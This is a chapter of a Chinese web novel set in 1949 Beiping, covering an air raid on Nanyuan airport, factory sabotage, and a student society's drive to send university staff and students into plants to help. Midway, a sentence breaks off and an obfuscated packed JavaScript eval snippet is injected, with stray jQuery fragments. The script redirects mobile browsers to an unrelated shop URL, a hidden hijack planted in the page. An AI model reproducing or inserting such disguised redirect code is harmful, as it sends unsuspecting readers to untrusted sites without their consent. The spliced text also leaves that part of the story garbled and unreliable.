第七十五章轰炸

    沈恒有些无奈道:“师傅,这件事我可以解释的。。。。。”

    郭师傅老神在在地端着茶杯乜一眼,“编吧,师傅我听着呢。”

    你最好能编出花来。

    沈恒感觉到师傅是认真的,便也正经坐好,道:“师傅,那院子是人家知道我收破烂找上来的,且我了解过,底子干净。”

    “原主人既不是民国的官也不是地主富商啥的,就是个早就落魄的遗老遗少,解放那阵更是被溃兵抢了几波,穷得都快当裤子了。

    他也是舍不得把祖宅分割卖才一直拖着,眼下实在拖不下去了才找到我。”

    “我打听过咱们房管部门,房子是生活资料,不是生产资料。”

    土地,商铺,农具和牲畜,厂房和机器设备,仓库,作坊,工棚,还有原材料这些都是生产资料。

    根据眼下的政策,资本家和地主手里的生产资料是要被收归国有的,但生活资料是允许个人保留的。

    他买房子花的是自己的血汗钱,也不存在剥削谁,也不用来生产,还真不违反规定。

    “师傅,是有人说什么了么?”

    郭师傅轻哼了一声,“你还知道去问问政策也不算笨的,可你想过没有,政策是政策,但这么多进京的干部没地方住,你手上空着那么多。。。。。。”

    沈恒拉下脸先翻旧账卖一波惨:“师傅,我也是流浪街头,无家可归过的,记忆太深刻了,心里总是忍不住想多囤个地方。”

    他看了师傅一眼,继续道:“再者,我这不是看师哥他们好几个人挤在一间小屋子里憋屈,想着买下这个大宅子,哪怕眼下自己不住,借给咱军管会,”

    话音未落,外面突然传来‘轰’地一声巨响,两人都一愣,随后立马冲了出去。

    紧接着,又是连续的几声巨响:

    “轰~”

    “轰~”

    “轰隆~”

    师徒两人脸色一变,望着声音传来的方向,那里是南苑机场!

    “该死的光头!”

    沈恒知道,肯定是光头不甘心失败,派了飞机来轰炸南苑机场了。

    那里停着十几架收缴的飞机,这下估计够呛了。

    唉,也是咱们没有防空力量,不然哪能看着他丢下炸弹就跑掉?

    “师傅,咱们的高射炮?”

    郭师傅摇摇头,高射炮是有的,但各地都在打仗,根本不够用,再说,高射炮的防空火力也是短程的,等人家飞机都到头顶了,打下来也改变不了被轰炸的结果。

    沈恒忧心忡忡地道:“今天能轰炸南苑机场,明天就敢轰炸景山发电厂和钢铁厂,到时候。。。。。。”

    郭师傅抓起帽子就往外走,还不忘交代他:“你赶紧把自己的事处理好,这些事儿上面会考虑的。”

    “知道了。”

    ***

    沈恒望着师傅的背影扁扁嘴,心里想的却是另一桩。

    他记得历史上北平解放后也很是憋屈了一阵子,因为怕被光头的飞机轰炸影响不好,咱们连开国大典都要放到下午三点。

    主要是光头的飞机从台岛飞过来需要中途加油,而且,现在的飞机没有夜航能力,如果要赶在下午三点前后轰炸典礼,飞机来了估计就回不去了。

    “该死的光头,对本国人倒是够狠,对小鬼子的时候怂得像TM一条狗!”

    南苑机场被轰炸果然引起市民恐慌,很多人都躲在家里不敢出门,甚至小商贩都不出摊了。

    更有甚者,见到上面飞机,很多原本藏匿起来的溃兵和特务等也积极行动起来,不是打黑枪就是搞破坏,光天化日□□的不说,连巡逻队偶尔都会遭到冷枪袭击。

    沈恒都不得不悄悄给两小只带了把手撸子才敢让他们出门上学。

    军管会领导气得拍了桌子:“无法无天了!”

    “抓,给我狠抓,枪毙一批!”

    负责维护城市治安的部队增加了白天黑夜的巡逻人数和巡逻次数,见到可疑人员不再那么客气,该抓的抓,该按的按,先控制住再细查。

    此外,由于连续发生了几起破坏工厂设施的事件,军管会也安排人进驻重要单位进行排查保护。

    这些雷霆手段还是有用的,几天后治安就好了很多。

    然而,暗地里的工厂破坏却没有收敛多少。

    由于我们的战士大多数不识字,干部的水平也都基本高小初中文化,一些工厂明里欢迎,暗地里排斥,被人叫‘土老帽’、‘乡巴佬’不说,连负责机器设备的工人都会以‘离远点’,‘别碰坏了’之类的话吓唬他们。

    奈何,打仗我们在行,但这些设备还真不敢碰。

    如此一来,工作效果可想而知,各种破坏和爆炸就像嘲笑一般,在工作队眼皮子底下发生,汇报上来,把各级领导气的够呛。

    铁路公安还算好,毕竟我们从游击队开始就跟铁路打交道,破坏铁路那是我们的看家本事,防止敌人破坏自然也不在话下。

    只是工作越来越忙,沈恒的吉普车和斯提庞克也都回不来了,四个轮子都快开出八个轮子来了,那会腾得出来?

    沈恒除了要求补一张‘借’用文书,要求有关部门将来有条件了还他同等的车辆,租金就算了。对了,他还要求除了领导签字,还要盖单位公章。

    哼,他可是知道,现在的组织跟二三十年后的不一样,到时候上面的领导退了、换了、说话不算数了都会有,这时候看得就是公章。

    组织上总不能不认公章,不然打官司都不怕。

    当然,这些都是他预防万一的。

    ***

    眼下如何保护工厂确实第一要务。

    沈恒觉得这件事要破局靠武力是不成的,就算是你把人都赶走,自己不会开动机器也只会让人看笑话。

    “眼下各个大学加起来也有上万师生了,论文化谁能比得过我们这些人?”

    “我看在大学里号召一下,尤其是理学院和工学院的师生,号召他们跟着工作队进工厂帮忙,武力智力咱们都能碾压,看谁不服!”

    郭师傅心里一动,嘴上却确认道:“会不会太耽误你们学业?”

    沈恒握住师傅粗糙的手,轻叹道:“没您想得那么严重,我们学习理论后也要实践的,再说,也不用整天泡在厂里,半天上课,半天下工厂支援,对老师学生都有好处。”

    说到这里,他越发觉得自己的主意不错了。

    过些年真要是有运动,老师和教授什么的是第一波受冲击的,眼下帮助工作队也算是立功,到时候给参与的师生都要一份嘉奖,好歹不济算是个护身符。

    ***

    年轻人行动力杠杠滴,说干就干。

    沈恒回到学校立刻跟赵青川商量以‘桃园社’的名义号召青大理、工学院的师生‘知识也是武装,支援爱厂护厂’行动。

    赵青川挠头:“不是,老三,咱们桃园社也没剩几个人了。。。。。。”

    前阵子老大张明德去了国外,老三沈恒死活不见人影好几个月,桃园社三个社首就剩他一个硬撑着,下面尚存的社员更是无欲无求的,简直跟解散了差不多。

    说起来他们桃园

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216800|192687||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    社都好长时间没活动了。

    沈恒无所谓道:“反正就是个名义,谁在乎这个?再说,我这不是回来了么。”

    作为提倡人,只要他在,桃园社就不会黄了。

    ***

    沈恒都懒得去校园张贴号召令,直接借了学校广播。

    个人当然是不能借的,但是,社团活动是可以借用的。

    幸亏他当时脑袋一热搞了个桃园社。

    这天上午,往常播放通知和校园消息的广播响起:“喂喂,喂。我是桃园社社长沈恒。”

    “在这里耽误老师和同学们几分钟。。。。。。上述情况相信大家也有所了解,我在这里以桃园社社长的名义呼吁全体师生,尤其是理学院,工学院的师生们,积极参与到爱厂护厂的行动中,用我们的知识和头脑帮助工作队,保卫解放成果!”

    “我相信这种支援虽然迫击时间却不会很长,凡是积极参与爱厂护厂行动、在行动中立功的老师和同学都能获得应得的嘉奖!”

    桃园社的号召广播响了三天。

    第一天还只有班级里的同学和几个老师跟沈恒问了问,报名的只有他和老二赵青川,外加他积极动员的两个任课老师,还有三两只桃园社的同学小猫。

    第二天,经过他苦口婆心的劝说,理学院和工学院的助教,教授又报名了七八个。

    看他唾沫横飞的样子,连赵老二都啧啧赞叹他的不易:“老三你这回可真是下了死力气了,从没见过你这么耐心劝人。”

    沈恒猛灌了几口水,心话他这不是想着将来给这些老师们留下个护身符么。

    他太不容易了。

    好在第三天团委发力了,跟着呼应号召,人家的力量可比他桃园社大多了。

    报名的人数都呼啦啦上去了,不说理工的,连文学院都积极报名了。

    沈恒暗地鄙视这些人:瞧不起本社长么!哼!

    ***

    他把自己这三天发动报名的师生召集起来开了个安全会,叮嘱进厂后注意事情,毕竟这些大学师生在象牙塔里久已,对外面厂里的猫腻怕是搞不定。

    他思来想去,给二十几名师生分成七个小组,老师和学生混编,每组三到四人,由他做总联络。

    三天后,沈恒把自己这里的支援项目拿给师傅先看看,并建议七组根据不同专业进入不同的工厂协助工作。

    郭师傅看到他手写的提案简直太宝贝了,难得当面夸了句:“你这社团还有点用。”

    说起来郭师傅本人是上过从前的私塾的,干革命后在队伍里接受的各种革命理论学习、培训。

    不光是他,队伍里除了兵工厂的哪些干部,一线部队大多数人肯定玩不转工厂的机器设备。

    主要是真怕搞坏了,那些大家伙可都老贵了。

    关键眼下坏了没处买啊。

    如今有这些大学师生帮忙,不仅仅是堵那些不知好歹的人的嘴,更是能让自己的战士们跟着学习学习,哪怕只学会开机都是好的。

    沈恒见状立刻舔着脸提要求:“师傅,这些老师同学可是我厚着脸皮求来的,到时候好歹给人家一个奖状啥的。”

    郭师傅蔑视道:“瞧你那不值钱的样子,奖状算什么?!只要他们好好帮忙,组织上还能亏待自己人不成?放心,肯定至少一个嘉奖!”

    “走,咱们去找你师伯去!”

    郭师傅在铁路公安,不管工厂这里的事儿,但革命是相同的,不存在你的我不管这种事儿。

    这不,沈恒虽然有想法但跟相关部门不熟,郭师傅立刻亲自带着崽子找上门去了。